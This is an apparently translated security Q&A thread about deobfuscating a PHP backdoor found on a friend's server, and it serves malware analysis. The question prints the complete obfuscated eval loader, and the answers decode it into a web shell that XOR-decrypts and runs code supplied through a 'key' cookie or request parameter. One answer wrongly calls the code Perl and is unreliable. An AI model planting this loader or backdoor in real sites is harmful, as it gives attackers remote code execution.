Come deoffuscare questo malware PHP? [duplicare]

12

Due giorni fa un file chiamato "images.php" apparve sul server di un amico, che notò perché causava errori. Il file conteneva quanto segue. Questo codice è di origine sconosciuta e si presume che sia un malware, quindi NON ESEGUIRE .

<?php for($o=0,$e='&\'()*+,-.:]^_'{|,,,|-((.(*,|)')&(_(*,+)'(-(,+_(-(.(:(](^(_('({)]+'+{+|,&-^-_(^)](](^(_(^(:('(,-_(.-_(](:(,+_(-+_(--_('(.(.+'+_(-(:(.(,+_(--^(.-_(:+{(]+{(:(:(^('(,(,(,(.(:(:(:+{(,(_(:(_+_(-)](](,(:-_(,,&(_,&+_(-('(:(.(,(.(.+_(-(.+'(,-_(.('(](.(_-^(,)](:({(,(,(_(](.(](.-^(,(,('(,(](:(.({(]-^+_(-(^+_(-(^(.(](,+'(',&(:+{(.-^(_-_('-_(]-^+_(-+{(:-^+_(--^(,(_(:(](,(_(')](:,&(.(,+_(-+{+_(-+|(:(^(,(^(.+{+_(-({(,(^(^(,(_+_(-(_)](.(.(.(](,+_(-(,,&(^('('(^(]-^(,(.(,(.(:-_+_(-(^(_)](.(.(.(](,+_(-(,,&(:(^(,(^(.+{+_(-({(,(^(^(,(_+_(-(_)](:(^(.-^(,(_(_(](]+|('('(.(.+_(--^(,(.(:+{+_(-+'('+_(-(:('(:-_(,,&(,-_(.+{(,+_(-(:)]('+_(-(.+{(_+_(-(_+'+_(-)]+_(-(_(,(.(:('(')]+_(-,&(:+'+_(--^(.(.('(_(,-^(:('(](]+_(-,&+_(-)](^({(:-_+_(--_(:,&(,)](:-^(:-_(,(](.+{+_(-(_(,+'(:(](:(_(:(,(,-_('+{(]-^(.('('-_+_(-(,(,(^(^-^+_(-('(,+'(:(_(:+|+_(-({('+{(],&(,(.(,(.(:-_+_(-(^+_(-)](](:(](^(_(:(')](^-_(_(:(^+'(_+'('+_(-(](^(_+_(-(^+{(^+{(^(,+_(-(.(:,&(,(:(:(_(](.(_(:(_,&+_(-(_(]-_+_(-)](^,&(,({(:+'(:+|(,)](:({(]+'(.(:(:(,(]+{(:(.(^(:(^(.(,({(:(:(:('(]+'(:(_+_(-(.(.-_(:(^(_+_(-(.+_(-(^(:+_(-(](,(.(:+|(:+|(](.('(](,(.(.+{(.(^(:(](:(^(^('(,+_(-+_(-({(.(_(:+_(-+_(-({(.(_(],&(_(_+_(-(_(,,&(:(,(^({+_(-+_(-+_(--_(:+{(:(_(,(](,+|(,-_(:(.(:-_+_(-({(:+_(-(](^(^+'(]+|(.(.(:({+_(-)](.(,+_(--^(.(.(.(]+_(--^(_(.+_(--_(^+{(^(,(^({(:,&(,-_(:(^(,(:(.(](:(:(](:(_(.(^-^+_(-(:+_(-({(,,&(.+'+_(-(:(.(,+_(--^(.-_(:+{(]+|(_)]('(_+_(-(]+_(--^(:+|(:+'+_(--^(:+'(,(^(.(](,)](,-^(:,&(^-_(,+_(-+_(--_(.+_(-('+_(-(],&(.(,+_(-(:(:)](.(.(,-^(.({+_(-+_(-(^+{(](.(_)](^(:(,-^(:(_(,+|(.(:(:({(,-^(_,&+_(-+_(-+_(-+'(,+'(.+_(-(,(_+_(-)](:+{(,-_(.(_(:+'(:(](.(,(]-^+_(-('(,({('(^('(^(.+'(:(^+_(--_(.(](:(^+_(--_(.+|(^)]+_(-+|(:(](:('(.+_(-(,(:(.(,+_(--^(:)]('-^(]+|(:(_(^-^+_(-('(,('(:-^(,(_(,-_(.+{(,-_(.)]('+_(-(](.(_+|(,,&('({(,-_(:('(:-_(,(:(:,&(,-_(_(.('+_(-(,(:(.(](](^(.,&+_(-+{(:,&(.)](,-_(:,&(],&(_(_+_(-(_(,,&(:(,(^({+_(-+_(-+_(--_(:+{(:(_(,(](,+|(,-_(:(.(:-_+_(-({(:+_(-(](^(^+'(]+|(.(.(:(_+_(-+'(:(_(,(](_,&('-_(](.('-^(:+|+_(-(_(,-^(:(](:(,(,(](:(_(](.(_,&(:-^(,+'(:(_(_)](,(.+_(-)](:,&(:+'(:(^(:+|+_(-+'(.-_(:({(]+|(_)]('(_+_(-(]+_(--^(:+|(:+'+_(--^(:+'(,(^(.(](,)](,-^(:,&(^-_(,+_(-+_(--_(.+_(-('+_(-(],&(.(:+_(-({(.(^(:(^(:(](.+'(](_+_(-('(,(^('(^('(,(](:(_({(_(,(.-^(:(:(,,&(.+|(^({+_(-('(](:('(^(:+_(-(,+{(.(,(:(^(.-_(.-^(,-^(.(_+_(-+_(-(^-^(.+{(:(](.+|(,(](:(,+_(--^(.(:(:)](,(^+_(-+'(^(:(,+'(,(.(.+_(-(.,&+_(-)]('+{(],&(.-_(.-^(,-^(.(_+_(-+_(-(^+{(](.(_)](^(:(,-^(:(_(,+|(.(:(:({(,-^(_,&+_(-+_(-+_(-+_(-(,+'(:+|(,(_(,-_(.+{(,-_(.)]('+_(-(]('(_,&(^-^+_(-(:+_(-({(,,&(.)](,+{(.(,+_(-)](:-^(:-^+_(-)](:(,(]+'(,-^(,(:(:(:(.+'(:(^(.(,+_(-(:(:)](.(.(,-^(.({(]+'(,-^(,(:(:(:(.+'(:(^(.(,(,(.(.-_(:+'(,('+_(-+'(^(:(,+'(,-^(:+_(-(.(^+_(-(_(:+{(,+{(:)](,)]+_(-+{(.+'(](_+_(-('(,(^(.-^(.(^(,(.(:(.+_(-)]+_(-(^(.(_+_(-)](.+'(^(^(.,&(,(](.(.(:+|(,(](.-_+_(-(_(.(.(:('+_(-({+_(-+'(^(:(,+'(,-^(:+_(-('(,(](:(_({(_(,(.(:(:(,(](:(_(](^(^+_(-(:(,(^(,,&(:+|+_(-(.(:(_(,)](_(:(.,&+_(-(:+_(-+'(^(.+_(-+{(,-^('+'('-^(,)](:(.(,(](_+'(:({(,(](:+_(-+_(-(_+_(-('+_(-(:(:('(:+'(^(,('(:(,(](.(^('(_(,,&(:(,(^({+_(-+_(-+_(--_(:+{(:(_(,(](.(,(]+'(.+{(.(,(,+'(.+|(^+'+_(-(:(,)](:-^(:+|(],&('+'(^+_(-(:('(^+|(](](_+'(^(^+_(-+'(,-^(:+_(-(:(.(]+'(:+'(,+|(_+'(.+_(-(,-^(_(^(^(^+_(-(:(,(^('(.(:+'(,(^(:,&(,+|(.(:(:+_(-(_+_(-(.+_(-(^(:+_(-(](,(.(:+|(:+|(](.('(](,(.(.+{(.(^(:(](.+|(^({+_(-+{(:(](:(^(:+|+_(--^('(](](_(,+'(:(,+_(--^(.+{(^(^(,(_(,(.(:,&(:('(:(^(:(_+_(-(.(.(:(.(^+_(--_(:(_+_(--^(^(^(,(.(:+|(:(,(:(^(:(](,-_(:-^('+_(-(](.(_+|(,,&('({(,-_(:('(:-_(,(:(:,&(,-_(_(.('+_(-(,(:(.(](](^(.,&(,(.(:+|(:(,(:(^(:(](,-_(:-^(,)](,+'(.)](^+'(^(^(]('+_(-(.(:-_+_(--_(:,&(,)](:-^(:-_(,(](.+{(_)]+_(-('+_(-(:(:+{(.+'+_(--^(.(,(](.(_,&(:-_(,(^(.+|(_)]+_(-(^(,-^(.(_(,(_(,+{(:-_(,(_(_,&('-_(](.('-^(:+|+_(-(_(,-^(:(](:(,(,(](:(_(](.(_,&(:(^(,+'(.+{(_)]+_(-+_(-(,(](:+|(:-_(,(:(:(](],&(_(_('-^(,(:(.(](](^(.,&(,(.(:+|(:(,(:(^(:(](,-_(:-^(.+'+_(-('(.,&(^('(,+_(-(:(](:+{(:('(,(:(,+|(,,&(.-_(.(.(:(](.(](^+'+_(--^(](.('+{(_(.(_(,(:+'(,+|(_(.('('(,({(.(](^({(.,&(,({(:,&(:('(,+|(:+'(,,&(_(:(.,&+_(-(:+_(-+'(^(.+_(-+{(,-^('+'('-^(,)](:(.(,(](_+'(:({(,(](:+_(-+_(-(_+_(-+_(-(,(](:+|(:-_(,(:(:(](],&(_(:(_,&+_(-(_(]-_+_(-)](^,&(,+|(:('(.,&(]+'(:(,(,(^(.(](:(,(,(.(.(.+_(-(_(,(](,+'(:-^(.+|(,-_(^)](,+|(:-_(:({(,({(:+_(-(^-_+_(-,&(,(^('(.(.+_(-(:(^(:+'(,(](.(:(,)](,+|(.(,(](.(^+'(]-_(:+|('(,+_(-+_(-(:+'(,+|(_(.(:-^(,+'(:(_(_)]+_(-+{(,(^(:+{(,(_(,,&(:(_+_(--^(_(:(.,&+_(-)](.(,(](.(,('+_(-)](:+|('+_(-(.+'(:+'(,(](.(:(,)](,+|(.(,(](.(^+'(]-_(:+|('(,(](:(_({+_(-('(.-_(:+'+_(-({(.(,(^-_+_(-(](](:(:+'(:({+_(-)](,+|(,(:(.(](:-_(:(](.(.(^(:(,(_(:(](:(:(:(^(,(_('+'+_(-+_(-(_-^(:-^(^(_(,(^(^-_+_(-+|(,(.(,,&(:-^(,-_(.('(:(^(.+{(:+'(,('(_,&+_(--_(])]+_(-)](:('(.,&+_(--_(.+_(-(,(](_(.('(.(,(:+_(--^+_(-(.+_(-+|(:(_(,)]('-^(,(_(:+|(,)](.+{(:+'(:(](:(:(^('+_(--^+_(--^(:('('-^(:('('+'(^+_(-(:('(.+{(_+_(-(_+'+_(-)](^(.(,({(:+'(:+|(,)](:({(]+'(:)](:('(,,&(.(,+_(-(_+_(--_(,(](:(_(:+|(_(,(:+'(,+|(_(.(.-^(:(](.+|(^({+_(-+{(:(](:(^(:+|+_(--^('+{(],&(:)](:('(,,&(.(,(_)]+_(--_(,(](:(_(:+|(],&('+'(](:(:+_(-(.-^(:(](.+_(-(^-_+_(-('(](:('(^(:+'(,+{(:,&(]+'(.(](:)]+_(--_(_(^(^(:(,+'(,-^(:+_(-(_(:(]+'(.(,(,+{(.+|(:(:(]+{(.({(^)]+_(-(_(,-^('(.(:({(,)](.('(,(:(:+|(:(:(]+|(_+|(,,&(,-_(_+_(-(',&('(_+_(-)](:-^(,+{(:({(.(.(]+{(.(,(]-^+_(-('(,({('(.(:+_(-(,-_(:-_+_(-+'(.-_(.(]+_(-({(]-_(^(,(,('(,(^(:+_(-(.,&(,(:(:+|(,(](_+'(.-^(:(](:(^(^('(,+_(-+_(-({(.(_(:+_(-+_(-({(.(_(](.(_-^(:(^(](.(:-^('(_(,(.(,+'(.+_(-(.+'+_(--^(:+{+_(-({(:-_('-^(]-_(.(_+_(--_(])]+_(-(_(^({(:-_+_(--_(:,&(,)](:-^(:-_(,(](.+{+_(-(_(,+'(:(](.+_(-(.(,+_(-)](.('(,-_(.('('-^(]-_(.(_+_(--_(,)](.+{(.+_(-(.(,+_(-)](.('(,-_(.('('-^(]-_(.(_+_(--_(])]+_(-(_(^({(:-_+_(--_(:,&(,)](:-^(:-_(,(](.+{+_(-(_(,+'(:(](.+_(-(:+_(-(,-_(:-_(,(_+_(-(^(:(:+_(-(:(.(,(^(^(^+'(]-_(:+_(-('(,+_(-+_(-(:(_(,)](.(.(:)](]+{(,(^(](^+_(-+'(,-^(:-^(:(^(:(^(:(_+_(-(.(.-_(:(^(](:(_+_(-(^(^(^+{(^(,(.-_(^(:(,+|(.(_(,(](.)](.(.(,(.(.+'(^({(^(.+_(-(:(,,&(.)](,(^(.(:(,-_(.(]('-^(]-_(.(_+_(--_(,)](]-_(:,&(_(.(,(:(:(^(](.(_(.('(.(,,&('({('(_(,(.(,(](.(.(:+|(,(]('+{(]-^(.)]('+'(]+|(:('+_(-+_(-(^+{(](.('+{(.(.+_(-,&(:+{(,(:(.(_(:(:(](:(_(]('(_+_(-(](,-^(:,&(:-_(](.('('(,+|(_(:('-_+_(-(,(_+_(-(^)](^+|(^(_+_(-(.(:-_(,,&(:(_+_(--^(:)]('-^(]-_(.(:+_(--_(])]+_(-(_+_(-(.(.)](,)](:-_(,(^(:)](:(:(](:(_+_(-(^(,(^+{(^(,(.-_(:+|(,)](:+{(,(^(_+'('(.(,(]('-^(]+{('({(,,&(.('(:('(,)](.('(,(:(.(^(:({(]+{(:,&(_)](,(.+_(-)](:,&(:+'(:(^(:+|+_(-+'(.-_(:({(](:(_+_(-(^(^(^+{+_(-(,('(_(:(_(^+_(-(:+'(,+|(_(.+_(-(_(,(.(:(_(_)](,(,(,-^(.+_(-(:(_+_(--_(.+_(-(,)](.-_('-^(]-_(:(^(,+{(:(.+_(-+{(.(,(:(_(,)](,+|(,(^(:+'(:(:(,(^(_,&+_(-(.+_(-+_(-(]('(:(:(.+{+_(-({(:(.+_(-(:(_(.(_(_(^(_('+{(^('(,(,+_(-)](:(:(.(,(](.('(]+_(-+'(.(:(.(_(,-^(_(.+_(-+'(^(^+_(-)]('(^('(,(](_(_(.(^('('(](:('+_(-)](:('(^('(,+{(](:('(^(.)](,(:(.(:(,-_(_,&('+'(]+|(:(.+_(-+_(-(^+{(]('(_(,(_(](^(](:(.+_(-({(:({(:('+_(-(.(_,&+_(-+_(-(,(.(,(.(.(.(:+|(],&('-_(],&(:,&('+_(-(](.(_+|+_(-+'(^(_(,,&('+{('(,(](:(.({(.+'(.+|(:(^(,('(.+'(](^+_(-('(](:('(_(:-_(:+_(-(_(:(:('(_(:(_,&+_(-+|(.,&(^-_+_(--^(,-^('+'('({(.+'(:(^(,-_(.(^(:(,(](:(_+_(-(^(,(.)](^+'(,-_('(,(](:(.({(]-^(.(^('({(^(_(,(^(^(,+_(-(^(,-^(.(_(.+'(](.('('(,+|+_(-+_(-(_('(:(_(_+|(,,&(,-_(.+{(:(](:+'(,(_(:+|+_(-)](.-_('-^(]-_(.(:(_,&(](:(:(_('+{(_(.(.+'(.(:+_(-({(.(^(:(^(:(](.(_(^+'+_(-,&+_(-({(:('('+_(-(]-^(.(:(](:('+_(-(.+{(,-^(.(_(^-^+_(-,&(]+{('(_(:(_(^+_(-(.-^(_(,(.+|(.(:(,(^(.(_(](.+_(-+{(,(](:+|(')]+_(-(.(,+|(,-_(:(.(:(:(,({(_,&+_(-(.+_(-+_(-(](.(.)](',&(,(^(_({(.+'(.-_(.-^(,-^(.(_+_(--^(^(_(,({('-^(',&(,(^('+'(^+_(-(.-_(:(^(,(:(.+'+_(-(_(:(.(,(.(:-_(.)](,(_(:+|(,-^(.-_('-^(])]+_(-)](^({(^(,(]('('(_(:(_(](:(_({+_(-('(](,(')](](](.+_(-(^)](^(.+_(-({(:-_(:({+_(-({(.('(]+'(.+|(:(:+_(--_(.(_(^-^('({(,,&(.('(:('(,)](.('(,(:(.(^(:({(]+{(:,&(_)](,+_(-+_(--^(.(.(:+|+_(-({(:(^(,-_(:-^(:(^(,(:(_,&+_(-(.+_(-(:(]('('(_(.)](](_('('+_(-({(_(_('(.(,('(_+|(:+|(,)](_+_(-(^+{(:(,(,+|('+{(]-^(:)](_+{(.+{(.(:(](^+_(-,&(,({(:)](:(_+_(-+'(:(_(,(](_(.('(.(,+'(_)]+_(-(.(,(.(](.('+{(^(:(_(:(.({(_(,(](:(^-_(,(.(.(:+_(--^(^(_(,,&(_-_+_(-)](,+|(:+|+_(-+'(.-_(:({(](:(_+_(-(^+'(^-^(])](.(^(:+{(]({('+'(](:(](,(^-_(_(.(:-^(:+|('+{(_(.(^+{+_(-)](,+|(.(]+_(-({(.(:(.(.(,-^(_,&+_(-(.(,+_(-(]('('(,+_(--^(.-_(,('(]+'(_({('({(]-_(:('+_(-({(^(,(]+{+_(-+'(,,&(:-^(,(:(](^('+{('({(^+{+_(-)](](](.-^(,(^(,-^(.+{(:(_(:,&(]({(_(:(_,&(_+_(-(]+|(:-_('+{+_(-+|(:+'(:(,(,(_(:(_(](.(_+{+_(-(_(,,&(.(,(^)]+_(-(](](:('(_(.+'(](:('+'(_(,(](:(^-_(_(.(:-^(:+|('+{(_(.(^+{(^(,(]-^(:+_(-(^('(,+'(:(,+_(-)](.(,(^('+_(-(_(](:('(_(.+'(](_(_+{(^+{('(:(_(](](.('-^(:+|('+{(_(.(^+{(^(,(.+'(:(^+_(-,&(:({(:-_+_(--_(.(,+_(--^(^(_(,,&('-^(',&(,({('+'(^+_(-(](,(^-_(_(.(]+|(]+{('({(_(.(^+{(^(,(.+'(:(^(,)](.(_(:)]+_(-({(.(,+_(--^(^(_(,,&('+{(_(.(_(,(^+'(_(:(](:(:(:(,({(.,&(^)](^(.(])]+_(-,&+_(-(.(:(_(:,&(]({('+_(-(^+|(_(.(]+|(]+{('({(_(.(^+{+_(-)](,+|(:(,(,(_(.(^(.(^(,-^(_,&+_(-(.(,+_(-(](.(_)](^(:(_(:(.-^(_(,(:('(^+|(](](_+'(^(.+_(-,&(]+{(.+_(-(:(](,+{(.+_(-+_(--^(_+'(:(:+_(-(:(.(,(^(^('({(,,&(.('(:('(,)](.('(,(:(.(^(:({(]+{(:,&(_)](,+_(-(,(_(:(:(.+{+_(--^(,+|(,-_(:(.(:(:(,({(_,&+_(-(.+_(-+_(-(](.(^({(.(.(_(,(^+'(,(:(.+|('-^(]-_(.(_(,+{(]-_(^(_('(,(.-^(,(.(:+'(,)](.(.('(_+_(-({(:(,(](_+_(-('+_(-)](:(](:+|+_(--^(:(,(,(.(_+'(_('(^(^(_(^+_(-)]+_(-(_(,-^(.(]('(_(,(](.(_(,(_(.(_('(_(^)]('+{+_(-(_(^,&(,-_(:('(.-_(](^(:,&+_(--_(.(_(:+'(]+{(_(:+_(-(,(^(.(,-^(:+_(-(:+_(-(,(^('(:(.(^(,+_(-('(](](.(]-_(:-_(,)](_+_(-(^+{(^(,(,-_(:(,(,(.(.(^('(_(])](,+'(',&(.-^(,(^('(,(_(.(_(,(^+'+_(-('(](,(^-_(,-^(.)](](^+_(-('(,(.(:(]('+_(-(.+'(.(,+_(--^(:({(.(^+_(--_(:('+_(--^(^(_(,({('-^('+{+_(-)](.(_+_(-+'(.-_(.(](,,&(.(,(](.+_(-+_(-(,(:('(,('(,(](:(^)](_(:(:+_(-(^+|(_(.(]+|+_(-(.+_(-(:(^(_+_(-(.(:+|+_(-(.(.(:(,(_(.(^(:(.(,-^(_,&+_(-+_(-(^(.(]+|('-^(',&(,)]('+'(^+_(-(](,(^-_(_(.(:,&(_)](,+_(-+_(--^(.(.(:+|+_(-({(:(^(,-_(:-^(:(^(,(:(_,&+_(-(.+_(-(:(:(,(_(:(,(](](_('('(,+{+_(-+_(-(_(](:(_(_)]+_(-(.+_(-(:(:(,(_+_(-(,(](](_('('(,+{+_(-+_(-(_(.(:(_(_+|(,,&('({(_(.(.-_(^(:(_(:(:(_(,(_(:)](:(:(,(.(.(:+_(--^+_(-+'(,+'(.+_(-(,(_+_(-+'(:(.+_(-)](:)](.(.(,(:(:('(](:(^+{+_(-(,(.+'(,(_+_(-+'(:(.+_(-)](:)](.(.(,(:(:('(](:(^+'(]-_(:+_(-('(,(^+_(-(.-^(_(,(](:(:(:(,('(:(_(^(:+_(-+{(,,&('+'(:+_(-(,+{(.(,(:(^(:)](.-_+_(-({(:+_(-(^(:+_(--_(](.(.)](.+_(-(:(^(.(,+_(-(:(:)](.(.(,-^(.({+_(--^(^(_(,({('+{(_(.+_(-('(^)](_(:(.-_(:+'+_(-({(.(,(^-_+_(-(](](:(:+'(:({+_(-)](,+|+_(-)](.(.(:(:(,('(.)](_)]+_(-('+_(-(:(:('(:+'(](:(.({+_(-(.+_(-(^(.(^(,(:(.(,(^+'+_(--^(:(](:('(.+_(-(,-_(:(,(](.(_-^(:(^(](.('-^(]+{('({(_(.(:('(:(^+_(-)](:(_(,(:(.+|('-^(,(:(.(](](^(.,&+_(-+{(:,&(.)](,-_(:,&(](:(:+_(-(.-^(:(](:(^(^)](,(.(,-^(:+|('+_(-(]-^(:(,(](:('+_(-(.+{(_+_(-(]+|(^(:+_(--^+_(-({(:('(:(,(,+|('+{(,(.(.+{(.(^(:(](:(^(](]+_(-,&(,({(,,&(:(_+_(-+'(:(_(,(](_(:(.,&+_(-(:+_(-+'(](_(,(,(,(](:+_(-(,(_(,(^(.(:(,-_(.(]('-^(]-_(.(_+_(--_(])]+_(-(_(^({(^(,(,-_(:-_+_(-)](.-_(:-_(,,&(_,&(^-^+_(-(:+_(-({(,,&(:+|+_(-(.(:(_(,)](_(:(.,&+_(-(:+_(-+'(^(:(,+'(,-^(:+_(-('+_(-(]-^(:(,(](:('+_(-(.+{(_+_(-(:({(:+|(^,&(](](:(^(:(_(_(,('('(,(]('('('+_(-(:({(.-_('+|(.(](,(,+_(-('(_-_+_(-({(:({(:({+_(-(:(:+|(]+|('-^(:+|(^(_(,({(_-_(',&(:(^+_(-(,(.(^(,(^+_(-,&(.(.(,(,(_,&(^(_(,(^(,-_(_(.(_(,(:+'(,+|(_(.+_(-(_(,-^(.({(](_(,(_+_(-(.('+'(',&(,)]('+'(](:(:+_(-('(.(,({('({+_(-(.(.,&(:+{+_(-,&(,+'(:-^(,({(]-^(.(](,+{(^(,(:({(:+|+_(-+{(,,&('+'+_(-)](,-_(:-^+_(-+'(:-^(.-_(](:(_+_(-(^(^(^+{(](.(.)](',&(,)](_-^(]-^+_(-(^+_(-+_(-(.-^+_(-+_(-(_,&(^(_(,(^(,-_(_(.+_(-('(^)](,(:(.+|('-^(.+{(.(.(^(:(,(_(:(](:-_(:({(,,&(:+'(,)]+_(-(^(.('+_(--^(.+'(](.+_(-('+_(-({(,,&(:-^+_(-+'(:(,(](.(_(:('-_+_(-(,(_+_(-(^(^(]-_+_(-({(.(_(.+{(,(:(.(:+_(-)](.(_(:('+_(-({(.,&(^(:(,+_(-(](:('(_(:+'(](:(_({+_(-('(](,(.-^(:(](:(_(^+{+_(-(:+_(-)](.(_(,(_(,-_(.+{(,-_(.)]('-^(]-_(.(_+_(--_(])](_+_(-(-(_(*,*)'(-(-)^*&,|-(,*(.(*,++^(*,|+'(:)^(*,|(^(^(:-^,:,,(.(*,|)_)\'),(:-^(*,.+^(*,++^(*,|+'+')'(*,|)^-',+,_-),+-^(*,*({)'*&,),.-((.(.(*,.+^(*,++^(*,|+'+')_)_)*(:(^(.(*,.+^(*,++^(^(^(*,|+'+'(:(:)^-'-',:,,(.(\'*&,:-)-),+-*(.(*+|+)*++(+,*++((:(:-^(*+|*)*|*|*^*:*+)'(,(**.+*+*+&+|*)*|*|*^*:*++|+,*\'+(+))^(*+|+&*|+)+*)'(,(**.+*+*+&+|+&*|+)+*+|+,*\'+(+))^(*+|*-*++*)'(,(**.+*+*+&+|*-*++*+|+,*\'+(+))^-'(*,^)'(*+|*)*|*|*^*:*++^(-,^,+-:(-+')^,:,,(.,+,'-&-*-:(.(*,^(:(:-^(*,^)'(*+|+&*|+)+*+^(-,^,+-:(-+')^-',:,,(.,+,'-&-*-:(.(*,^(:(:-^(*,^)'(*+|*-*++*+^(-,^,+-:(-+')^-',:,,(.(\'*&,,-+,{,)-*,:,|,{+|,+-.,:-)-*-)(.(-,*,+,)-(-:-&-*(-(:(:-^,+-,,\',_(.(-,,-+,{,)-*,:,|,{(&,*,+,)-(-:-&-*(.(*,+(_(*,^(:-^,:,,(.(\'(*,^(:-^-(,+-*-+-(,{)^-'(*,+,_)'*&-)-*-(,_,+,{(.(*,+(:)^(*,^,_)'*&-)-*-(,_,+,{(.(*,^(:)^(*-(,_)'(*,+,_(+(*,^,_)^(*,,,_)'(*,+,_('(*-(,_)^,,,|-((.(*,|)')&)^(*,|)_(*,,,_)^(*,|(^)'(*,^,_(:-^(*-&)'*&-)-+,(-)-*-((.(*,+(_(*,|(_(*,^,_(:)^(*,*({)'(((*,^((+{(((*-&(()^-',:,,(.(*-(,_(:-^(*-&)'*&-)-+,(-)-*-((.(*,+(_(*,,,_(_(*-(,_(:)^(*,^)'*&-)-+,(-)-*-((.(*,^(_)&(_(*-(,_(:)^(*,*({)'(((*,^((+{(((*-&(()^-'-(,+-*-+-(,{(.(*,*(:)^-'(-(:)^-'(*,*)'*&,*,+,)-(-:-&-*(.(*,*(_(*,^(:)^,+-,,\',_(.(*,*(:)^',$d='';@ord($e[$o]);$o++){if($o<16){$h[$e[$o]]=$o;}else{$d.=@chr(($h[$e[$o]]<<4)+($h[$e[++$o]]));}}eval($d); ?>

Ho sostituito eval con echo , l'ho eseguito su phpfiddle e ottenuto più della stessa offuscazione, questa volta con più eval di righe.

Qual è il modo migliore per deobfuscare questo tipo di cose in modo da poter capire cosa sta facendo?

    
posta Robert 01.05.2014 - 22:04
fonte

3 risposte

16

Di solito è molto difficile per i creatori di malware offuscare la chiamata exec () o eval (), quindi una buona tecnica è quella di sostituire queste chiamate con un eco. Se lo fai per il codice precedente, finisci con un intero codice più offuscato, ma è per lo più inutile, tranne per quello che è in fondo:

if(!@isset($_SERVER)){$_COOKIE=&$HTTP_COOKIE_VARS;$_POST=&$HTTP_POST_VARS;$_GET=&$HTTP_GET_VARS;}$k=$_COOKIE['key'];if(empty($k)){$k=$_POST['key'];}if(empty($k)){$k=$_GET['key'];}if(!@function_exists('decrypt')){eval('function decrypt($e,$k){if(!$k){return;}$el=@strlen($e);$kl=@strlen($k);$rl=$el%$kl;$fl=$el-$rl;for($o=0;$o<$fl;$o+=$kl){$p=@substr($e,$o,$kl);$d.="$k"^"$p";}if($rl){$p=@substr($e,$fl,$rl);$k=@substr($k,0,$rl);$d.="$k"^"$p";}return($d);}');}$d=@decrypt($d,$k);eval($d);

Se lo ripulisci bene (grazie a IntelliJ) con alcuni commenti che ho aggiunto:

// Compatibility with really old versions of PHP I think
if (!@isset($_SERVER)) {
    $_COOKIE =& $HTTP_COOKIE_VARS;
    $_POST =& $HTTP_POST_VARS;
    $_GET =& $HTTP_GET_VARS;
}
// If there's a cookie called "key" set $k to be the payload
$k = $_COOKIE['key'];
if (empty($k)) {
    $k = $_POST['key'];
}
// If there's no cookie then get the payload from a get parameter called 'key'
if (empty($k)) {
    $k = $_GET['key'];
}

// Define a function to de-obfuscate the payload
if (!@function_exists('decrypt')) {
    eval('function decrypt($e,$k){if(!$k){return;}$el=@strlen($e);$kl=@strlen($k);$rl=$el%$kl;$fl=$el-$rl;for($o=0;$o<$fl;$o+=$kl){$p=@substr($e,$o,$kl);$d.="$k"^"$p";}if($rl){$p=@substr($e,$fl,$rl);$k=@substr($k,0,$rl);$d.="$k"^"$p";}return($d);}');
}
// Set $d to the de-obfuscated payload
$d = @decrypt($d, $k);

// eval $d
eval($d);

Che è molto più facile da capire.

Quindi in sostanza sono:

  1. Ricerca di un cookie denominato chiave
  2. Se non ci sono cookie, controlla i parametri get
  3. De-offuscare il payload ottenuto da un cookie o ottenere il parametro
  4. eval questo codice

Il motivo per cui si preoccupano di offuscare il payload che stanno passando nel cookie o di ottenere parametri è quello di ridurre le probabilità che venga rilevato da un IDS che cerca il codice PHP o che qualcuno lo localizzerà nei log.

    
risposta data 02.05.2014 - 11:25
fonte
9

Ho completamente de-offuscato il codice, solo per divertimento.

Prima alcuni commenti sul lato cattivo del codice. L'utilizzo dell'operatore @ viene applicato a quasi tutte le chiamate di funzioni. Questo sopprimerà gli avvertimenti che potrebbero essere generati dal codice, quindi aiuta a tenerlo nascosto agli amministratori di sistema che controllano regolarmente i loro registri.

NB , non so perché la definizione della funzione decrypt() abbia luogo in un eval() . Il codice funziona esattamente allo stesso modo se dichiari la funzione così com'è nella clausola if true .

Ecco di nuovo il codice completo:

// Compatibility for old versions of PHP which used different variable naming
if (!@isset($_SERVER)) {
    $_COOKIE =& $HTTP_COOKIE_VARS;
    $_POST =& $HTTP_POST_VARS;
    $_GET =& $HTTP_GET_VARS;
}
// If there's a cookie called "key" set $k to be the payload
$k = $_COOKIE['key'];
if (empty($k)) {
    $k = $_POST['key'];
}
// If there's no cookie then get the payload from a get parameter called 'key'
if (empty($k)) {
    $k = $_GET['key'];
}

// Define a function to de-obfuscate the payload
if (!@function_exists('decrypt')) {
    eval('function decrypt($e,$k){if(!$k){return;}$el=@strlen($e);$kl=@strlen($k);$rl=$el%$kl;$fl=$el-$rl;for($o=0;$o<$fl;$o+=$kl){$p=@substr($e,$o,$kl);$d.="$k"^"$p";}if($rl){$p=@substr($e,$fl,$rl);$k=@substr($k,0,$rl);$d.="$k"^"$p";}return($d);}');
}
// Set $d to the de-obfuscated payload
$d = @decrypt($d, $k);

// eval $d
eval($d);

Ora esaminiamo più approfonditamente la funzione decrypt() . Pulito, sembra questo:

function decrypt($encrypted_string, $key)
{
    if(!$key)
        return;

    $encrypted_string_len = @strlen($encrypted_string);
    $key_len = @strlen($key);
    $rl = $encrypted_string_len % $key_len;
    $fl = $encrypted_string_len - $rl;

    for($o=0; $o < $fl; $o += $key_len)
    {
        $p = @substr($encrypted_string, $o, $key_len);
        $d .= "$key" ^ "$p";
    }

    if($rl)
    {
        $p = @substr($encrypted_string, $fl, $rl);
        $key = @substr($key, 0, $rl);
        $d .= "$key" ^ "$p";
    }
    return($d);
}

Questo è un semplice schema di crittografia basato su XOR. La chiave viene presa e viene valutata la lunghezza relativa al messaggio. Se la lunghezza della chiave si divide esattamente nella lunghezza del messaggio, allora scorre il messaggio prendendo la lunghezza della chiave ed eseguendo uno XOR sull'intera stringa ( ^ operator '), quindi costruisce il risultato decrittografato. Se non si divide esattamente, il chunk rimanente è XOR'd con l'inizio della chiave fino alla lunghezza necessaria.

    
risposta data 06.05.2014 - 18:09
fonte
1

È perl incorporato in PHP per esempio copia e incolla quanto segue in un testo:

''=~('(?{'.('.,)./}'^'^^@@[]').'"'.('@-:}/@@]}@.@]}.@,@^'^'/@]][(%$]+@/*]^%^,|').',$/})')

$ more perltest 
''=~('(?{'.('.,)./}'^'^^@@[]').'"'.('@-:}/@@]}@.@]}.@,@^'^'/@]][(%$]+@/*]^%^,|').',$/})')

$ perl perltest 
omg they know perl
$ 

Vorrei avere il tempo di disobbedire adesso. Tornerò intorno ad esso domani. Ma in sostanza il suo codice è stato inserito all'interno del codice.

    
risposta data 01.05.2014 - 22:57
fonte

Leggi altre domande sui tag